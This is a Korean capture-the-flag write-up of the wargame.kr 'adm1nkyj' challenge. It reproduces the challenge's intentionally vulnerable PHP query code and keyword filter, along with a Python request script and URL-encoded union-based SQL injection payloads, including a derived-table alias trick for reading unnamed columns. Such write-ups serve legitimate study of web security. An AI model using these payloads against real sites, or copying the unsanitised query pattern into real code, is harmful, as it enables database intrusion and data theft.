SQL injection Challenge! (injection) - thx to adm1nkyj
역대급으로 오래 걸린 문제이다 ㅡㅡ
이 문제는 들어오자마자 대뜸 소스부터 보여준다
잘못들어온게 아닌가 다시 볼정도로 당황했다...
<?php
error_reporting(0);
include("./config.php"); // hidden column name
include("../lib.php"); // auth_code function
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
mysql_select_db("adm1nkyj");
/**********************************************************************************************************************/
function rand_string()
{
$string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
return str_shuffle($string);
}
function reset_flag($count_column, $flag_column)
{
$flag = rand_string();
$query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
if($query[$count_column] == 150)
{
if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
{
mysql_query("UPDATE findflag_2 SET $count_column=0;");
echo "reset flag<hr>";
}
return $flag;
}
else
{
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
}
return $query[$flag_column];
}
function get_pw($pw_column){
$query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
return $query[$pw_column];
}
/**********************************************************************************************************************/
$tmp_flag = "";
$tmp_pw = "";
$id = $_GET['id'];
$pw = $_GET['pw'];
$flags = $_GET['flag'];
if(isset($id))
{
if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
$tmp_flag = reset_flag($count_column, $flag_column);
$tmp_pw = get_pw($pw_column);
$query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
if($query[$id_column])
{
if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
{
echo "good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
}
else
{
echo "Hello ".$query[$id_column]."<hr>";
}
}
} else {
highlight_file(__FILE__);
}
?>
어쨌든 쿼리를 파괴(?)해야하는데 많은 시도를 해야될 것 같기 때문에 간단한 python 코드를 작성했다.
#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time
headers = {'Host': 'wargame.kr:8080'}
data = "?id="
data = data + urllib.quote("")
data = data + "&pw="
data = data + urllib.quote("")
req = urllib2.Request("http://wargame.kr:8080/adm1nkyj/" + data, '', headers)
response = urllib2.urlopen(req)
res = response.read()
print len(res), res
요렇게..
len을 굳이 붙인 이유는 틀리면 아무것도 반환이 안되기 때문이다.
어쨌든 처음부터 보면, 가장 처음에 id와 pw에 값을 넣어 쿼리를 부셔볼 수 있다.
다음과 같이 쿼리를 작성한다.
?id=%27%20union%20select%201%2C&pw=%2C3%2C4%2C5%23
union을 이용해서 중간에 강제로 ' ' 를 만들어 php 변수를 출력시키는건데, 요렇게 하면
Hello and <hr>
와 같은 꼴로 pw의 컬럼을 알 수 있게 된다.
pw를 알아내기 위해선 서브쿼리를 이용해서 다음과 같이 날려준다.
?id=%27%20union%20select%201%2C%28select%20xPw4coaa1sslfe%20from%20findflag_2%29%2C&pw=%2C4%2C5%23
자, 이제 아이디를 알아내야할 시간이다.
?id=%27%20OR%201%3D1%20union%20select%201%2C2%2C&pw=%2C4%2C5%23
이렇게 날려주면 쿼리가 '' 가 참이 되어 성립하기 때문에 id의 값을 알 수 있다.
다만, 컬럼이름은.. 알기 어려운것 같고. (이 문제에선 못알아낼듯)
아이디와 비밀번호를 모두 취득했지만, 하나의 난관이 더 남아있다. 바로 flag..
150번시도하면 리셋을 시키는통에 전사공격도 불가능하다. 어떻게 해야할까...
flag를 알아내보기위해 정말 많이 검색을 해봤는데 잘 모르겠다. 블라인드 유니온 인젝션이라고 해야할까?;
그와중에 이런걸 찾았는데 별 도움은 안되었다.
CONCAT(0x27,0x7c,0x5f,0x7c)
역시 procedure analyse() 도 안먹혔다. 도대체 뭐야 ... 하고 생각하다가
문득 이런생각을 했다
select를 할때, 동일한 알리아스를 사용하는 컬럼과, 테이블 셋이 있다면 어떻게 될까?
테이블을 select 할 수 없으니 같은 이름의 알리아스를 찾을테고, 걔를 셀렉트 하지 않을까?
그래서 다음과 같이 코드를 작성했다
select concat(x,'x') from ( select 1,2,3,4 as x,5 union select * from TABLE ) as x
놀랍게도 4x 밑으로 내가 원한 컬럼들이 주욱 나열된다. 고로 이 트릭을 이용해 문제를 풀어보자.
data = "?id="
data = data + urllib.quote("' union select 1,b,3,4,5 /*")
data = data + "&pw="
data = data + urllib.quote("*/ from (select 1,2,3,4 as b,5 union select * from findflag_2) as b limit 1,1#")
이렇게 하면 flag를 얻을 수 있다. 여기까지 풀고 좋아죽을뻔했지만...
플래그는 답이 아니다. 침착하게 얻어낸 아이디, 비밀번호, 플래그를 보내주고 마무리 짓자.
정말 며칠을 고민했는지 끙끙거리며 산것 같다... 개념을 알았으니 좀 더 advanced한 Zairo에 도전해볼차례가 되었다!